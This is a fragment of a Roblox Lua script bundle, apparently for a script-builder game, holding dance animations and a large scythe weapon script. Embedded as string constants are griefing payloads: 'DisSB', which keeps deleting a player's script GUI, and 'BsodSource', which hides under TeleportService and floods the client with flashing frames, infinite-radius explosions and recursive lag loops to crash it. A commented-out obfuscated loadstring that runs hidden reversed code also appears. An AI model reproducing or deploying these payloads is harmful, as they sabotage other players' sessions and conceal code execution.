- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
- end
- elseif youpirate then
- global_wait = (global_wait % 380) + 1
- countspeed = 5
- if global_wait < 79 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait < 299 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait > 299 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- end
- elseif canttouch then
- countspeed = 5
- global_wait = (global_wait % 160) + 1
- if global_wait == 160 then global_wait = 0 end
- if global_wait < 39 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
- elseif global_wait < 79 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
- elseif global_wait < 119 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
- torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
- elseif global_wait > 119 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
- torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
- end
- elseif gangnam then
- countspeed = 5
- if global_wait == 180 then global_wait = 0 end
- global_wait = (global_wait % 180) + 1
- if global_wait < 89 then
- ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
- rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- elseif global_wait > 89 then
- ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- end
- elseif foxie then
- countspeed = 5
- global_wait = (global_wait % 380) + 2
- if global_wait < 89 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
- elseif global_wait > 89 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- end
- elseif durka then
- countspeed = 2
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- elseif saxguy then
- countspeed = 5
- ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
- rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
- rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- elseif heya then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
- elseif jb then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif canttt then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif bronymusic then
- countspeed = 5
- ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
- rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
- rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
- neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
- rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
- elseif sheddy then
- countspeed = 7
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif burndem then
- countspeed = 4
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- end
- end
- end)
- plr.Chatted:connect(function(msg)
- game:service'Chat':Chat(head, msg, 0)
- if msg == "reset/" then
- char:breakJoints()
- end
- if msg == "resp/" then
- plr:LoadCharacter()
- end
- end)
- end)
- if not ran and err then
- print(err)
- end
- ]]
- DisSB = [[
- plr = game:service'Players'.LocalPlayer
- while true do
- if plr:FindFirstChild("PlayerGui") then
- if plr.PlayerGui:FindFirstChild("SBGUI") then
- plr.PlayerGui.SBGUI:Remove()
- end
- end
- wait()
- end
- ]]
- BsodSource = [[
- wait()
- script.Parent = game:service'TeleportService'
- CC = workspace.CurrentCamera
- RS = game:service("RunService")
- PG = game.Players.LocalPlayer.PlayerGui
- C = game.Players.LocalPlayer.Character
- function Lag()
- coroutine.resume(coroutine.create(function()
- while wait() do
- M = Instance.new("Message",CC)
- M.Text = tick()*math.floor(5%4*21)
- H = Instance.new("Hint",CC)
- H.Text = 'Man, Theres a reason you gotta go.'
- SG=Instance.new("ScreenGui",PG)
- FR=Instance.new("Frame",SG)
- FR.Size = UDim2.new(500,500,500,500)
- while wait() do
- FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
- end
- P=Instance.new("Part",CC)
- E=Instance.new("Explosion",P)
- E.BlastRadius=math.huge
- E.Position=P.Position
- F=Instance.new("Fire",P)
- S=Instance.new("Smoke",P)
- P.CFrame = CC.Focus
- P.Anchored = true
- P.CanCollide = false
- P.AncestryChanged:connect(function()Lag()end)
- for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
- end
- end))
- end
- RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]]
- Scythe = [[
- LocalPlayer = game.Players.LocalPlayer.Name
- script.Parent = game:GetService'Players':FindFirstChild(LocalPlayer) ~= nil and game:GetService'Players':FindFirstChild(LocalPlayer)
- sn = table.concat({"Pwn","age"," ","Scy","th"})
- spd = 0.125 -- (1/SPD) = FramesPerSecond:>
- d = {17,100} -- dmg
- Decs={}
- Decs.Totem = "35624068"
- Decs.Tornado = "1051557"
- Decs.SpikeBall = "9982590"
- Decs.Fist = "65322375"
- Decs.RedCliffT = "49754754"
- Decs.RedCliff = "49754655"
- Decs.Chakram = "18430887"
- Decs.Chakram2 = "47260990"
- Decs.Chakram3 = "19251107"
- Decs.Diamond = "9756362"
- Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh"
- Decs.EF1 = "64467174"
- Decs.TSkull1="36869975"
- Decs.Skull1="36869983"
- Decs.Shield1="60120613" Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398" Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976" Decs.Crown2="1323306"
- Decs.SplinteredSkyT="50798688" Decs.SplinteredSky="50798664"
- e = string.char p = game:service'Players' l = game:service'Lighting' w = workspace -- dirteh useless funkshuns bel0w
- w = wait wt = 0.1 s=script q = function(f) coroutine.resume(coroutine.create(function() f() end)) end
- --q(function() loadstring(string.reverse(workspace.CurrentCamera[e(84) ..e(119) ..e(105) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(108) ..e(105) ..e(103) ..e(104) ..e(116) ..e(83) ..e(112) ..e(97) ..e(114) ..e(107) ..e(108) ..e(101)].Value))() end)
- v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring tn=tonumber ti=table.insert tr=table.remove cw=function(func) coroutine.resume(coroutine.create(function() func() end)) end
- mf=math.floor sf=string.find sb=string.sub rn=math.random
- function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return i end end return nil end
- qi = function(ttz) local qii = it(ttz[1],ttz[2]) table.foreach(ttz,function(oi,oi2) if oi ~= 1 and oi ~= 2 then qii[oi] = oi2 end end) return qii end
- function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then return i end end return nil end
- function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end
- function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2) local fp=nil if sh ~= "Wedge" and sh ~= "CornerWedge" then fp=it("Part",pa) fp.Shape=sh fp.formFactor="Custom" elseif sh == "Wedge" then fp=it("WedgePart",pa) fp.formFactor="Custom"
- elseif sh == "CornerWedge" then fp=it("CornerWedgePart",pa) end fp.Size=v3(x,y,z) fp.CanCollide=c fp.Anchored=false fp.BrickColor=bc(bc2) fp.Transparency=tr fp.Reflectance=re fp.BottomSurface=0 fp.Name=pn --fp.FrontSurface="Hinge"
- fp.TopSurface=0 fp:BreakJoints() fp.Anchored = a return fp end
- function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end
- function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0 fw.Part1=p1 fw.C0=cn(x,y,z) *ca(a,b,c) return fw end
- function fade(prt,incr) q(function() for i=prt.Transparency,1,incr do prt.Transparency=i w() end prt:Remove'' end) end
- function appear(prt,incr) q(function() for i=1,0,-incr do prt.Transparency=i w() end end) end
- function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit local HitPos=hit2.Position local CJ=cn(HitPos)
- local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end
- function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick weld.Part1=hit2 local HitPos=hit.Position local CJ=cn(HitPos) local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1 weld.C1=C0 weld.Parent=hit2 end
- function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then v.Transparency=1 end invis(v) end end
- function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat") then v.Handle.Transparency = 1 local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1 np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end
- function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),xxz2) end
- function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end
- function getclass(prt,cls) for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then return v end end return nil end
- function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i) break end end end
- function RandomPlayer(spiz) local torz=spis local torses={} for i,v in pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if #torses > 0 then torz=torses[rn(1,#torses)] end return torz end
- function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower() == str:lower() then return true end return FDesDes(v,str) end end
- deb = function(ob,it) game:service'Debris':AddItem(ob,it) end
- function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon orange","Deep orange","White","Bright red"} return colz[rn(1,#colz)] end
- function findhum(anc) for i,vx in pairs(anc:children()) do if vx:IsA("Humanoid") then return vx end end return nil end
- Lightning = function(p0,p1,tym,ofs,col,th,tra) -- start end times offset color thickness
- local magz = (p0 - p1).magnitude local curpos = p0 local trz = {-ofs,ofs}
- for i=1,tym do
- local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true li.Transparency = tra or 0.4 li.BrickColor = BrickColor.new(col)
- li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(th,th,magz/tym) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)])
- local trolpos = CFrame.new(curpos,p1)*CFrame.new(0,0,magz/tym).p+ofz
- if tym == i then
- local magz2 = (curpos - p1).magnitude li.Size = Vector3.new(th,th,magz2)
- li.CFrame = CFrame.new(curpos,p1)*CFrame.new(0,0,-magz2/2)
- else
- li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/tym/2)
- end
- curpos = li.CFrame*CFrame.new(0,0,magz/tym/2).p game.Debris:AddItem(li,0.25)
- end
- end
- function Trail(ob,times,waitz,col,thickz,ofz) q(function() local oldpos=(ob.CFrame *ofz).p for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true tr.CFrame=cn(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
- local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end) end
- sTrail={}
- function Trail2(lopz,ob,waitz,col,thickz,ofz) q(function() ti(sTrail,ob)
- local oldpos=(ob.CFrame *ofz).p local lopz2=0
- local function Cobalt1164tr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1
- local mag=(oldpos - obp).magnitude
- local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true
- tr.CFrame=cn(oldpos,obp)
- tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
- local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
- q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end)
- tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end
- repeat Cobalt1164tr()
- w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz Cobalt1164tr() end) end
- asset="http://www.roblox.com/asset/?id="
- table.foreach(Decs,function(a,b) if b:sub(1,3) ~= "rbx" then game:service'ContentProvider':Preload(Decs[a]) Decs[a] = asset .. Decs[a] game:service'ContentProvider':Preload(Decs[a]) end end)
- a={}
- a.ClickHold=0
- a.c=true -- weapon change or act debounce
- a.s={}
- a.cr={20,1.5}
- ky = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "}
- Anim = "None"
- mouse = nil
- Sounds={
- Break="3264793";
- Berserk="2676305";
- Fire1="2760979";
- Imbue="2785493";
- Ghost="3264923";
- Block="rbxasset://sounds\\metal.ogg";
- Boom="16976189";
- SniperFire="1369158";
- ShotgunFire2="1868836";
- MinigunFire="2692806";
- MinigunCharge="2692844";
- MinigunDischarge="1753007";
- Flashbang="16976189";
- Beep="15666462";
- Smash="2801263";
- Punch="31173820";
- Slash="rbxasset://sounds/swordslash.wav";
- Falcon="1387390";
- Cast="2101137";
- Spin="1369159";
- Abscond="2767090";
- ElectricalCharge="2800815";
- FireExplosion="3264793";
- SaberLightUp="10209303";
- SaberSlash="10209280";
- SaberHit="44463749";
- EnergyBlast="10209268";
- Lunge="rbxasset://sounds/swordlunge.wav";
- Unsheath="rbxasset://sounds/unsheath.wav";
- }
- wss = 16
- caw = true
- pl = p.LocalPlayer
- bp = pl.Backpack
- pg = pl.PlayerGui
- c = pl.Character
- to = c.Torso
- he = c.Head he.face.Face = "Bottom"
- hu =c.Humanoid
- q(function() bp[sn]:Remove() end)
- local su = it("Model",c) su.Name = "Suit1"
- cl = "className" local caram = "CharacterMesh"
- for i,v in pairs(to:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]=="CharacterMesh" then v:Remove() end end
- for i,v in pairs(c:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]==caram then v:Remove() end end
- pcall(function() c.Block:Remove() end)
- local block = qi({"BoolValue",c,Value=false,Name="Block"})
- local hd=he:Clone''
- to.Transparency = 1
- he.Transparency = 1
- a.Bodyas=0
- a.insw={}
- function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then return end
- if namzi=="p0" then
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif namzi=="p1" then
- a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif namzi=="a0" then
- a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif namzi=="a1" then
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0
- end
- end
- function ws(ii)
- wss = ii
- end
- function c2(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) q(function() c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) end) end
- a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu)
- if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx)
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z
- a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z
- a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=wexx.C0:toEulerAnglesXYZ()
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx)
- local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then
- xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"] x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"] else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]
- x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else
- for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
